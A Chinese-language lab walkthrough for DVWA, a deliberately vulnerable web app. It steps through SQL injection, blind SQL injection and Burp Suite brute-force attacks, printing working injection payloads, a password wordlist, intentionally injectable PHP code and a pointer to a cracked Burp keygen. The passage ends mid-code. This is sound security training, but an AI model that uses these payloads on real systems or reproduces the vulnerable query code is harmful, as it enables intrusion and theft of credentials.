DVWA - 操作手冊


Dvwa

環境:dvwa + win7 或者 dvwa + win10
工具:BurpSuite、中國菜刀

Dvwa Install

SourceCode 安裝 DVWA

# 源碼 - 安裝 Dvwa
- 運行phpstudy

- 將下載好的DVWA文件放在www文件目錄下面然後在瀏覽器打開127.0.0.1/dvwa/setup.php進行安裝

- 在config中將config.inc.php.dist拷貝一份然後改爲config.inc.php就能夠	正常安裝了

- 創建數據庫a';
$_DVWA[ 'db_user' ]     = 'root';
$_DVWA[ 'db_password' ] = 'root’;
然後瀏覽器打開http://127.0.0.1/DVWA-master/
,phpstudy中自帶數據庫,默認賬號密碼都是root,登錄	mysql數據庫,然後創建dvwa,完成創建。

- 打開config.inc.php,修改如下:
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvw';

Docker 安裝 DVWA

# Docker - 安裝 Dvwa
- 在 Linux 安裝Docker

- 關閉防火牆(若對Linux不熟悉的儘量關閉,否則dvwa可能會訪問失敗)

- $ docker run --rm -it -p 80:80 vulnerables/web-dvwa  #這是前臺運行程序  一旦Ctrl+C停止 則dvwa容器會被刪除。

# Dvwa 默認密碼
- 初始化界面賬號密碼:admin admin
- 登錄界面賬號密碼:admin password
  • DVWA 初始化界面

wechat_20210513165400.png

  • DVWA 環境界面

wechat_20210513165706.png

Dvwa - SQL

SQL 注入 (SQL Injection)

SQL Injection,即SQL注入,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL注入漏洞的危害是巨大的,常常會導致整個數據庫被"脫褲",儘管如此,SQL注入仍是現在最常見的Web漏洞之一。近期很火的大使館接連被黑事件,據說黑客依靠的就是常見的SQL注入漏洞。

# 1. SQL 注入手工分析步驟
- 判斷是否存在注入,注入是字符型還是數字型
(1). 數字型: SQL語句一般不需要閉合 大多數不需要註釋符號
(2). 字符型: SQL語句需要閉合 或者需要註釋符號

- 猜解SQL查詢語句中的字段數及字段順序
(1). order by: 對結果集按照一個列或者多個列進行排序。
(2). UNION SELECT: 聯合查詢。

- 獲取當前數據庫名
(1). database()函數
(2). user()函數

- 獲取數據庫中的表名
(1). group_concat(table_name)函數
(2). information_schema表

- 獲取表中的字段名

- 下載數據

# 2. 服務器代碼分析

Level - Low

  • 判斷是否存在注入

輸入:1,查詢成功,返回一個結果;

wechat_20210513172105.png

輸入:1' and '1' = '2 查詢失敗,返回結果爲空;

wechat_20210513172253.png

輸入:1' or '1' = '1 查詢成功,返回多個結果;

wechat_20210513172419.png

  • 猜解SQL查詢語句中的字段數及字段順序

輸入:1' or 1=1 order by 1# ,查詢成功,返回結果;

wechat_20210513173207.png

輸入:1' or 1=1 order by 2 # ,查詢成功,返回結果;

wechat_20210513173240.png

輸入:1' or 1=1 order by 3 # ,查詢失敗,說明執行SQL查詢語句中 要查詢的字段只有兩個。即圖中的First name 和 Surname。

wechat_20210513173500.png

輸入:'union select 1,2 # ,查詢成功,返回結果;該命令還能顯示字段順序。

wechat_20210513174521.png

  • 獲取數據庫名

輸入:'union select user(),database() # ,查詢成功,返回結果;

wechat_20210513174740.png

  • 獲取數據庫中表的名稱

輸入:'UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ,查詢成功,返回結果;根據返回的信息,獲得數據庫dvwa中共有兩個表,guestbook和users。

wechat_20210513175113.png

  • 獲取表中的字段名(表結構)

輸入:'union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'# ,查詢表中字段名(表結構)

wechat_20210513175412.png

  • 下載數據(嘗試獲取 user 和 password)

輸入:'union select user,password from users# ,查詢成功,返回結果;

wechat_20210513175816.png

  • 嘗試破解password

口令爲32位,猜測爲md5哈希值,也可以爲其它。藉助md5哈希值查詢網站https://www.cmd5.com/。

解析的密碼結果:

5f4dcc3b5aa765d61d8327deb882cf99 - password
...
5f4dcc3b5aa765d61d8327deb882cf99 - password
  • 代碼分析
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

Level - Medium

BurpSuite - 安裝

首先需要安裝JDK環境

然後直接下載工具包-> 解壓 burp_suite -> burp-loader-keygen.jar -> run

wechat_20210515221034.png

wechat_20210515221103.png

wechat_20210515221116.png

BurpSuite - 代理設置

Level 設置爲 Medium後 沒有了輸入框

wechat_20210513224439.png

  • 判斷是否存在注入 是字符型還是數字型
    • 字符型注入

      使用Burp Suite 抓包:

      首先將Burp Suite打開,然後點擊Submit,在Burp Suite中更改參數id爲:1' or 1 = 1 # (判斷是否爲字符型注入)

      修改完成後點擊Forward

      返回出錯信息; You have an error ...;通過反饋的信息可知不是 "字符型注入"

      wechat_20210513225211.png

      • 數字型注入

在Burp Suite中更改參數id爲:1 or 1 = 1 # (判斷是否爲數字型注入)

修改完成後點擊Forward ;

wechat_20210513225712.png

查詢成功,返回結果;說明存在數字型注入,由於是數字型注入,服務器端的mysql_ real_ escape_ string函數就形同虛設了,因爲數字型注入並不需要藉助引號。

wechat_20210513225754.png

  • 猜解SQL查詢語句中的字段數及字段順序

BurpSuite抓包,修改參數id爲:1 order by 1 # 查詢成功

BurpSuite抓包,修改參數id爲:1 order by 2 # 查詢成功

BurpSuite抓包,修改參數id爲:1 order by 3 # 返回出錯信息

說明執行SQL查詢語句中只有兩個字段,即First name 和 Surname。

猜測SQL查詢語句 select First_name,Surname from table_name where id = ?

wechat_20210513231654.png

  • 獲取數據庫名

BurpSuite抓包,修改參數id爲: id=1 union select user(),database() # 查詢成功

wechat_20210513231915.png

  • 獲取數據庫中表的名稱

BurpSuite抓包,修改參數id爲:UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查詢成功

wechat_20210513232045.png

  • 獲取表中的字段名(表結構)

BurpSuite抓包,修改參數id爲:union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' # 查詢失敗;

因爲單引號'被轉義了,變成了\' 利用16進制可以繞過;

wechat_20210514003451.png

將查詢到的表 users 轉換成 16進制: users -> 7573657273

BurpSuite抓包,修改參數id爲:union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 # 查詢成功;

wechat_20210514004112.png

  • 下載數據(嘗試獲取 user 和 password)

BurpSuite抓包,修改參數id爲: union select user,password from users # 查詢成功;

20210514004248.png

  • 嘗試破解password

口令爲32位,猜測爲md5哈希值,也可以爲其它。藉助md5哈希值查詢網站https://www.cmd5.com/。

解析的密碼結果:

5f4dcc3b5aa765d61d8327deb882cf99 - password
...
5f4dcc3b5aa765d61d8327deb882cf99 - password
  • 代碼分析
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

Level - High

同理,和 Level - Low 和 Level - Medium 使用同樣的方式。由於手工注入的過程與Low級別基本一樣,直接最後一步演示下載數據。

  • 下載數據(嘗試獲取 user 和 password)

BurpSuite抓包,修改參數id爲: ' union select user,password from users #

需要特別提到的是,High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是爲了防止一般的sqlmap注入,因爲sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有反饋,也就沒辦法進一步注入。

20210514005645.png

  • 代碼分析
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

Level - Impossible

嘗試 使用 Level - Low 和 Level - Medium 的方式進行SQL注入,查看結果;通過結果可以知道SQL注入已經無法實現。

  • 理由如下
Impossible級別的代碼採用了PDO(PHP Data Object)技術,劃清了代碼與數據的界限,有效防禦SQL注入,同時只有返回的查詢結果數量爲一時,纔會成功輸出,這樣就有效預防了“脫褲”,Anti-CSRFtoken機制的加入了進一步提高了安全性。
  • 代碼分析
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

SQL 盲注入 (SQL Injection Blind)

# SQL Injection(Blind)
參考文檔: https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin

# SQL注入 和 SQL盲注 區別
- 注入: 可以查看到詳細內容;如返回查詢的信息;
- 盲注: 目標只會回覆是或不是,沒有詳細內容;

# 手工盲注思路
- 手工盲注的過程,就像你與一個機器人聊天,這個機器人知道的很多,但只會回答“是”或者“不是”,因此你需要詢問它這樣的問題,例如“數據庫名字的第一個字母是不是d啊?”,通過這種機械的詢問,最終獲得你想要的數據。

# SQL盲注類型
- 基於布爾值的盲注;
- 基於時間的盲注;
- 基於報錯的盲注;

Level - Low

  • 判斷是否存在注入

輸入:1 查詢成功,返回 User ID exists in the database.

輸入:1' 查詢失敗,返回 User ID is MISSING from the database.

輸入:1' or 1=1# 查詢成功,返回 User ID exists in the database.

輸入 :1' or 1=2# 查詢成功,返回 User ID exists in the database.

20210514013557.png

  • 獲取數據庫名
    1. 獲取數據庫名稱長度

輸入:1' and length(database())= 1 #,將第二個1修改爲2、3、4查看返回結果;當爲4時,返回User ID exists in the database.

    1. 獲取數據庫名稱

輸入:1' and ascii(substr(database(),1,1))>97# 查詢成功,返回 User ID exists in the database.

輸入:1' and ascii(substr(database(),1,1))>100# 查詢失敗,返回User ID is MISSING from the database.

輸入:1' and ascii(substr(database(),1,1))<103# 查詢成功,返回 User ID exists in the database.

輸入:1' and ascii(substr(database(),1,1))<100# 查詢失敗,返回User ID is MISSING from the database.

可以知道,數據庫名的第一位字符的ascii碼值爲 100,通過查找ASCII碼錶得到ASCII碼值爲100的對應爲d

重複上述步驟,就可以猜解出完整的數據庫名dvwa了。

20210514014241.png

  • 獲取數據庫中表的名稱
    1. 獲取表的個數

輸入:1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在

輸入:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 顯示存在

可以知道,dvwa數據庫中存在2個表;

    1. 獲取表的長度

使用length()函數來猜測表的長度:

輸入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在

輸入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在

輸入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在

可以知道,dvwa數據庫中第一個表名長度爲9;

    1. 獲取表的名稱

輸入:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在

輸入:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在

輸入:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在

輸入:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在

輸入:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在

可以知道,dvwa數據庫中第一個表名字的第一個字符爲小寫字母g。

重複上述步驟,即可猜解出兩個表名guestbook、users。

  • 猜解表中的字段名
    1. 獲取表字段數量

輸入:1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 顯示不存在

輸入:1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 顯示存在

可以知道,說明users表有8個字段。

    1. 猜解表字段名長度:

eg: 1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit X,1),1))=1 # 表示第X列的字段名長度;如,user_id則1,1),1)) = 7

輸入:1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 顯示不存在

輸入:1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 顯示存在

可以知道,users表的第一個字段長度爲7個字符。只要修改X中的值即可獲得所有字段的名稱。

    1. 猜解表字段名

eg: 1 ' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit X,1),Z))=102# 表示第X列 第幾個字母 如 first_name 爲 X = 0表示第一列字段,Z等於1表示字母f的Ascii碼

輸入:1 ' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117# 顯示存在

...

輸入:1 ' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),7))=100# 顯示存在

可以知道,users表的第一個字段的名爲user_id;同理,只要修改X中的值即可獲得所有字段的名稱。

  • 猜解數據

eg:1' and ascii(substr((select user from users limit 0,1),X,1))=110# 修改 獲取first_name字段中的數據

輸入:1' and ascii(substr((select user from users limit 0,1),1,1))=97# 顯示存在

...

輸入:1' and ascii(substr((select user from users limit 0,1),1,1))=97# 顯示存在

可以知道,user表中的第一個字段的第一個數據的第一個字母爲a;同理,可以獲得first_name存在名爲admin的用戶。

  • 代碼分析
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Level - Medium

同理,將 SQL注入(Level - Medium) 和 SQL盲注入(Level - Low)技巧結合;

  • 代碼分析
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

Level - High

同理,將 SQL注入(Level - High) 和 SQL盲注入(Level - Low)技巧結合;

  • 代碼分析

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Level - High

嘗試 將 SQL注入(Level - Impossible) 和 SQL盲注入(Level - Low)技巧結合;查看結果;通過結果可以知道SQL注入已經無法實現。

理由如下:

Impossible級別的代碼採用了PDO(PHP Data Object)技術,劃清了代碼與數據的界限,有效防禦SQL注入,同時只有返回的查詢結果數量爲一時,纔會成功輸出,這樣就有效預防了“脫褲”,Anti-CSRFtoken機制的加入了進一步提高了安全性。
  • 代碼分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Dvwa - Brute Force

# 1. Brute Force(暴力破解) 
- 參考文檔: https://baike.baidu.com/item/%E6%9E%9A%E4%B8%BE%E6%B3%95/2473707?fromtitle=%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3&fromid=5828444&fr=aladdin

- "暴力破解"是一攻擊具手段,在web攻擊中,一般會使用這種手段對應用系統的認證信息進行獲取。 其過程就是使用大量的認證信息在認證接口進行嘗試登錄,直到得到正確的結果。 爲了提高效率,暴力破解一般會使用帶有字典的工具來進行自動化操作。

- 理論上來說,大多數系統都是可以被暴力破解的,只要攻擊者有足夠強大的計算能力和時間,所以斷定一個系統是否存在暴力破解漏洞,其條件也不是絕對的。 我們說一個web應用系統存在暴力破解漏洞,一般是指該web應用系統沒有采用或者採用了比較弱的認證安全策略,導致其被暴力破解的“可能性”變的比較高。 這裏的認證安全策略, 包括:
(1). 是否要求用戶設置複雜的密碼;
(2). 是否每次認證都使用安全的驗證碼(想想你買火車票時輸的驗證碼~)或者手機otp;
(3). 是否對嘗試登錄的行爲進行判斷和限制(如:連續5次錯誤登錄,進行賬號鎖定或IP地址鎖定等);
(4). 是否採用了雙因素認證;
...等等。
千萬不要小看暴力破解漏洞,往往這種簡單粗暴的攻擊方式帶來的效果是超出預期的!


# 2. Brute Force(暴力破解) 步驟
- 選擇破解點

- 設置本地代理

- 生成密碼字典

- 使用 Burp Suite 進行攔截 & 設置 暴力破解位置

- 進行破解

Level - Low

  • 選擇暴力破解點

20210514114107.png

  • 設置本地代理

    • Chrome瀏覽器

    設置 -> 打開您計算機的代理設置 -> 手動設置代理 -> 填寫地址等信息

    20210514115431.png

    • Fire Fox瀏覽器

    設置 -> 高級 -> 網絡 -> 連接設置 -> 手動設置代理

    wechat_20210514115654.png

  • 密碼字典生成

可自行百度密碼生產器;在這裏可參照網址:https://www.bugku.com/mima/

常用的密碼字典:

123456
password
12345678
qwerty
12345
123456789
letmein
1234567
football
iloveyou
admin
welcome
monkey
login
abc123
starwars
123123
dragon
passw0rd
master
hello
freedom
whatever
qazwsx
trustnol
654321
jordan23
harley
password1
1234
robert
mathew
jordan
asshole
daniel
andrew
lakers
andrea
buster
joshua
1qaz2wsx
12341234
ferrari
cheese
computer
corvette
blahblah
george
mercedes
121212
maverick
fuckyou
nicole
hunter
sunshine
tigger
1989
merlin
ranger
solo
banana
chelsea
summer
1990
phoenix
amanda
cookie
ashley
bandit
killer
aaaaaa
pepper
jessica
zaq1zaq1
jennifer
test
admin
hockey
dallas
passwor
michelle
admin123
pussy
pass
asdf
william
soccer
london
1q2w3e
1992
biteme
maggie
querty
rangers
charlie
martin
ginger
golfer
yankees
thunder
password
  • 使用 Burp Suite 進行攔截 & 設置 暴力破解位置
# 1. 開啓 Intercept is on(攔截)
# 2. 輸入 用戶名 和 密碼 點擊 Login

wechat_20210514120319.png

# 3. Send to Intruder(發送到Intruder)

# 4.選擇 Positions 設置參數
- Attack type(攻擊類型):
(1). Sniper: 
(2). Battering ram: 
(3). Pitchfork:
(4). Cluster bomb:

- Start attack(開始攻擊)

- Add$: 添加暴力破解參數位置
- Clear$: 刪除暴力破解參數位置

wechat_20210514121615.png

# 5.Payloads(有效載荷又稱參數位置) 設置
- 選擇 Payload set: 1(先設置用戶名字典username)
- 選擇 Payload set: 2(後設置密碼字典password)

wechat_20210514122130.png

  • 進行破解
# 1. start attack
- 點擊 Length 重排序,可以看到有幾個長度與其它的不一致,該密碼爲爆破成功的密碼。

# 2. 斷開攔截 | 斷開代理
- 斷開Burp Suite攔截 或者 斷開代理都行
(1). 斷開攔截: Proxy -> Intecept is on(由暗變亮爲關閉)
(2). 斷開代理: 設置本地代理的步驟

# 3. 登陸
- 將爆破出來的賬號和密碼輸入到登錄框中

wechat_20210514123008.png

  • 代碼分析
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Level - Medium

同理,將 Brute Force(Level - Low) 使用同樣步驟方法進行嘗試。

  • 代碼分析
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

結論:

- mysqli_real_escape_string(string,connection) :函數會對字符串string中的特殊符號(\x00,\n,\r,\,‘,“,\x1a)進行轉義,基本可以抵抗SQL注入

- $GLOBALS :引用全局作用域中可用的全部變量。$GLOBALS 這種全局變量用於在 PHP 腳本中的任意位置訪問全局變量(從函數或方法中均可)。PHP 在名爲 $GLOBALS[index] 的數組中存儲了所有全局變量。變量的名字就是數組的鍵。 

- 可以看到,medium級別的代碼對用戶輸入的參數進行了簡單的過濾,對一些預定義字符進行了轉義,基本上防止了SQL注入。還有一個措施就是如果密碼輸錯了,則延時兩秒之後才能再次提交。

- 這依然可以和 low 級別的爆破一樣,只不過時間長了點而已。因爲試一次密碼要過濾2秒才能試下一個。

Level - High

# Brute Force(暴力破解) 步驟
- 對於有token來防護csrf的,可以使用到這個功能進行爆破,因爲每次用戶的token都是隨機的。

- 選擇攻擊模式爲pitchfock,並且給要破解的token項帶上美元符號

- 選擇options將線程數設置爲1(遞歸查找,將上一個請求的相應token作爲下一個請求的payload的token,所以就不併發)

- Grep-Extract模塊進行相應設置,獲取相應的token,截取相應token的前後標識,用於下次截取

- Redirections模塊設置允許重定向,選擇always

- 點擊payload的時候選擇Recursive grep 並且把之前得到的token值粘貼到下方的方框中
  • 使用Burp Suite攔截登錄

通過Burp Suite抓包,發現參數多了一個user_token

wechat_20210515051938.png

  • Intruder 設置
  • 右鍵點擊 send Intruder 或者 快捷鍵 Ctrl+I

  • Attack type(攻擊模式):攻擊模式選擇Pitchfork

  • 設置暴力破解參數個數,如圖設置3個 username 和 password 和 user_token

wechat_20210515052230.png

  • Options(參數)設置
    • Request Engine:將線程數設置爲1
    • Grep - Extract:點擊Add

wechat_20210515052639.png

  • 勾選 Exclude Http headers 然後點擊Fetch response;

注:這裏一定要顯示出HTML網頁 否則需要重新來一遍。快速操作

  • 找到 name='user_token' value='xxxxx' 選擇value裏的值

wechat_20210515052829.png

Options -> Redirections -> Always

wechat_20210515053549.png

  • Payloads(有效載荷 又稱 參數) 設置
- Payload set 1:可參考 Level - Low 設置username 一般設置爲 admin 或者 常用的用戶名
- Payload set 2:可參考 Level - Low 設置password

wechat_20210515053817.png

- Payload set 3:設置user_token值(user_token可通過proxy獲取)
- 點擊Start attack 開始暴力破解

wechat_20210515054225.png

  • 爆破成功

一般有其中一個長度和其他不同都可作爲猜測密碼的依據。其中這裏用戶名 admin參數是固定的,只有密碼變化。

wechat_20210515051741.png

  • 登錄

wechat_20210514123008.png

  • 代碼分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
